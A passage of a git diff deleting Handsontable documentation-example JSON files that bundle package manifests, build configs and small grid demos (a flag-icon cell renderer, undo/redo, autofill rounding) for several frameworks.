3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/undo-redo/vue/example.vue","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example","exampleTitle":"Basic demo","docPermalink":"/undo-redo","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__angular__example1.ts.json deleted file mode 100644 index 4c8a86a3..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Accessories And Menus ▸ How to use icons in cells · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport type { BaseRenderer } from 'handsontable/renderers';\n\ninterface Task {\n task: string;\n assignee: string;\n dueDate: string;\n flagged: boolean;\n}\n\n// Icons from the `@handsontable/spreadsheet-icons` package - see the \"Icon\n// pack\" reference page for the full set.\n// `currentColor` picks up the button's text color, so the icon stays visible\n// in both light and dark themes instead of a hardcoded color disappearing\n// against the background.\nconst FLAG_FULL_ICON =\n '';\nconst FLAG_EMPTY_ICON =\n '';\n\n// The icon itself has no accessible name, so the button carries an\n// `aria-label` that describes what clicking it does.\nconst flagRenderer: BaseRenderer = (\n instance: Handsontable,\n td: HTMLTableCellElement,\n row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue\n) => {\n const taskName = String(instance.getDataAtCell(row, 0));\n const button = document.createElement('button');\n\n button.type = 'button';\n button.style.cssText = 'background: none; border: none; cursor: pointer; padding: 0.25rem;';\n button.innerHTML = value ? FLAG_FULL_ICON : FLAG_EMPTY_ICON;\n button.setAttribute(\n 'aria-label',\n value ? `Remove the follow-up flag from ${taskName}` : `Flag ${taskName} for follow-up`\n );\n button.addEventListener('click', () => {\n instance.setDataAtCell(row, 3, !value);\n });\n\n td.innerText = '';\n td.appendChild(button);\n\n return td;\n};\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example1',\n template: `\n \n `,\n})\nexport class AppComponent {\n readonly data: Task[] = [\n { task: 'Update API docs', assignee: 'Ana García', dueDate: '2025-06-30', flagged: true },\n { task: 'Deploy hotfix', assignee: 'James Okafor', dueDate: '2025-06-18', flagged: false },\n { task: 'Review pull request', assignee: 'Li Wei', dueDate: '2025-06-20', flagged: false },\n { task: 'Write release notes', assignee: 'Sara Nowak', dueDate: '2025-06-25', flagged: true },\n { task: 'Fix flaky test', assignee: 'Marco Rossi', dueDate: '2025-06-22', flagged: false },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['Task', 'Assignee', 'Due date', 'Flagged'],\n columns: [\n { data: 'task' },\n { data: 'assignee' },\n { data: 'dueDate', type: 'date', dateFormat: 'YYYY-MM-DD' },\n { data: 'flagged', renderer: flagRenderer, className: 'htCenter' },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/use-icons-in-cells/angular/example1.ts","breadcrumb":["Accessories And Menus","How to use icons in cells"],"guide":"guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md","guideTitle":"How to use icons in cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/use-icons-in-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__javascript__example1.js.json deleted file mode 100644 index 2f2684d5..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessories And Menus ▸ How to use icons in cells · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst data = [\n { task: 'Update API docs', assignee: 'Ana García', dueDate: '2025-06-30', flagged: true },\n { task: 'Deploy hotfix', assignee: 'James Okafor', dueDate: '2025-06-18', flagged: false },\n { task: 'Review pull request', assignee: 'Li Wei', dueDate: '2025-06-20', flagged: false },\n { task: 'Write release notes', assignee: 'Sara Nowak', dueDate: '2025-06-25', flagged: true },\n { task: 'Fix flaky test', assignee: 'Marco Rossi', dueDate: '2025-06-22', flagged: false },\n];\n// Icons from the `@handsontable/spreadsheet-icons` package - see the \"Icon\n// pack\" reference page for the full set.\n// `currentColor` picks up the button's text color, so the icon stays visible\n// in both light and dark themes instead of a hardcoded color disappearing\n// against the background.\nconst FLAG_FULL_ICON = '';\nconst FLAG_EMPTY_ICON = '';\n// The icon itself has no accessible name, so the button carries an\n// `aria-label` that describes what clicking it does.\nconst flagRenderer = (instance, td, row, _col, _prop, value) => {\n const taskName = String(instance.getDataAtCell(row, 0));\n const button = document.createElement('button');\n button.type = 'button';\n button.style.cssText = 'background: none; border: none; cursor: pointer; padding: 0.25rem;';\n button.innerHTML = value ? FLAG_FULL_ICON : FLAG_EMPTY_ICON;\n button.setAttribute('aria-label', value ? `Remove the follow-up flag from ${taskName}` : `Flag ${taskName} for follow-up`);\n button.addEventListener('click', () => {\n instance.setDataAtCell(row, 3, !value);\n });\n td.innerText = '';\n td.appendChild(button);\n return td;\n};\nconst container = document.querySelector('#example1');\nnew Handsontable(container, {\n data,\n colHeaders: ['Task', 'Assignee', 'Due date', 'Flagged'],\n columns: [\n { data: 'task' },\n { data: 'assignee' },\n { data: 'dueDate', type: 'date', dateFormat: 'YYYY-MM-DD' },\n { data: 'flagged', renderer: flagRenderer, className: 'htCenter' },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/use-icons-in-cells/javascript/example1.js","breadcrumb":["Accessories And Menus","How to use icons in cells"],"guide":"guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md","guideTitle":"How to use icons in cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/use-icons-in-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__javascript__example1.ts.json deleted file mode 100644 index 2a633644..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessories And Menus ▸ How to use icons in cells · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport type { BaseRenderer } from 'handsontable/renderers';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Task {\n task: string;\n assignee: string;\n dueDate: string;\n flagged: boolean;\n}\n\nconst data: Task[] = [\n { task: 'Update API docs', assignee: 'Ana García', dueDate: '2025-06-30', flagged: true },\n { task: 'Deploy hotfix', assignee: 'James Okafor', dueDate: '2025-06-18', flagged: false },\n { task: 'Review pull request', assignee: 'Li Wei', dueDate: '2025-06-20', flagged: false },\n { task: 'Write release notes', assignee: 'Sara Nowak', dueDate: '2025-06-25', flagged: true },\n { task: 'Fix flaky test', assignee: 'Marco Rossi', dueDate: '2025-06-22', flagged: false },\n];\n\n// Icons from the `@handsontable/spreadsheet-icons` package - see the \"Icon\n// pack\" reference page for the full set.\n// `currentColor` picks up the button's text color, so the icon stays visible\n// in both light and dark themes instead of a hardcoded color disappearing\n// against the background.\nconst FLAG_FULL_ICON =\n '';\nconst FLAG_EMPTY_ICON =\n '';\n\n// The icon itself has no accessible name, so the button carries an\n// `aria-label` that describes what clicking it does.\nconst flagRenderer: BaseRenderer = (instance, td, row, _col, _prop, value) => {\n const taskName = String(instance.getDataAtCell(row, 0));\n const button = document.createElement('button');\n\n button.type = 'button';\n button.style.cssText = 'background: none; border: none; cursor: pointer; padding: 0.25rem;';\n button.innerHTML = value ? FLAG_FULL_ICON : FLAG_EMPTY_ICON;\n button.setAttribute(\n 'aria-label',\n value ? `Remove the follow-up flag from ${taskName}` : `Flag ${taskName} for follow-up`\n );\n button.addEventListener('click', () => {\n instance.setDataAtCell(row, 3, !value);\n });\n\n td.innerText = '';\n td.appendChild(button);\n\n return td;\n};\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Task', 'Assignee', 'Due date', 'Flagged'],\n columns: [\n { data: 'task' },\n { data: 'assignee' },\n { data: 'dueDate', type: 'date', dateFormat: 'YYYY-MM-DD' },\n { data: 'flagged', renderer: flagRenderer, className: 'htCenter' },\n ],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/use-icons-in-cells/javascript/example1.ts","breadcrumb":["Accessories And Menus","How to use icons in cells"],"guide":"guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md","guideTitle":"How to use icons in cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/use-icons-in-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__react__example1.tsx.json deleted file mode 100644 index 969a5a37..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessories And Menus ▸ How to use icons in cells · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport type { BaseRenderer } from 'handsontable/renderers';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Task {\n task: string;\n assignee: string;\n dueDate: string;\n flagged: boolean;\n}\n\nconst data: Task[] = [\n { task: 'Update API docs', assignee: 'Ana García', dueDate: '2025-06-30', flagged: true },\n { task: 'Deploy hotfix', assignee: 'James Okafor', dueDate: '2025-06-18', flagged: false },\n { task: 'Review pull request', assignee: 'Li Wei', dueDate: '2025-06-20', flagged: false },\n { task: 'Write release notes', assignee: 'Sara Nowak', dueDate: '2025-06-25', flagged: true },\n { task: 'Fix flaky test', assignee: 'Marco Rossi', dueDate: '2025-06-22', flagged: false },\n];\n\n// Icons from the `@handsontable/spreadsheet-icons` package - see the \"Icon\n// pack\" reference page for the full set.\n// `currentColor` picks up the button's text color, so the icon stays visible\n// in both light and dark themes instead of a hardcoded color disappearing\n// against the background.\nconst FLAG_FULL_ICON =\n '';\nconst FLAG_EMPTY_ICON =\n '';\n\nconst ExampleComponent = () => {\n // The icon itself has no accessible name, so the button carries an\n // `aria-label` that describes what clicking it does.\n const flagRenderer: BaseRenderer = (\n instance: Handsontable,\n td: HTMLTableCellElement,\n row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue\n ) => {\n const taskName = String(instance.getDataAtCell(row, 0));\n const button = document.createElement('button');\n\n button.type = 'button';\n button.style.cssText = 'background: none; border: none; cursor: pointer; padding: 0.25rem;';\n button.innerHTML = value ? FLAG_FULL_ICON : FLAG_EMPTY_ICON;\n button.setAttribute(\n 'aria-label',\n value ? `Remove the follow-up flag from ${taskName}` : `Flag ${taskName} for follow-up`\n );\n button.addEventListener('click', () => {\n instance.setDataAtCell(row, 3, !value);\n });\n\n td.innerText = '';\n td.appendChild(button);\n\n return td;\n };\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/use-icons-in-cells/react/example1.tsx","breadcrumb":["Accessories And Menus","How to use icons in cells"],"guide":"guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md","guideTitle":"How to use icons in cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/use-icons-in-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__vue__example1.vue.json deleted file mode 100644 index 07b66811..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__use-icons-in-cells__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Accessories And Menus ▸ How to use icons in cells · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/use-icons-in-cells/vue/example1.vue","breadcrumb":["Accessories And Menus","How to use icons in cells"],"guide":"guides/accessories-and-menus/use-icons-in-cells/use-icons-in-cells.md","guideTitle":"How to use icons in cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/use-icons-in-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__angular__example3.ts.json deleted file mode 100644 index 3236bf7c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__angular__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Autofill values · Altering and tracking autofilled values · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport type Handsontable from 'handsontable/base';\nimport type { CellRange } from 'handsontable/base';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'example3-autofill-values',\n template: `\n {{ output }}\n \n `,\n})\nexport class AppComponent {\n readonly data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', 10, 11, 12, 13],\n ['2018', 20, 11, 14, 13],\n ['2019', 30, 15, 12, 13],\n ['2020', '', '', '', ''],\n ['2021', '', '', '', ''],\n ];\n\n output = 'Drag the fill handle to see the affected range logged here.';\n\n readonly gridSettings: GridSettings = {\n rowHeaders: true,\n colHeaders: true,\n fillHandle: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n beforeAutofill: (selectionData: Handsontable.CellValue[][]) =>\n // This dealership reports sales in batches of 5 cars, so round every\n // filled value up to the nearest multiple of 5.\n selectionData.map((row) => row.map((value) => (typeof value === 'number' ? Math.ceil(value / 5) * 5 : value))),\n afterAutofill: (\n fillData: Handsontable.CellValue[][],\n sourceRange: CellRange,\n targetRange: CellRange,\n direction: 'up' | 'down' | 'left' | 'right'\n ) => {\n this.output =\n `Filled rows ${targetRange.from.row}-${targetRange.to.row}, ` +\n `columns ${targetRange.from.col}-${targetRange.to.col} (direction: \"${direction}\").`;\n },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/autofill-values/angular/example3.ts","breadcrumb":["Cell Features","Autofill values"],"guide":"guides/cell-features/autofill-values/autofill-values.md","guideTitle":"Autofill values","exampleId":"example3","exampleTitle":"Altering and tracking autofilled values","docPermalink":"/autofill-values","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example3.js.json deleted file mode 100644 index 650ed5a5..00000000 --- 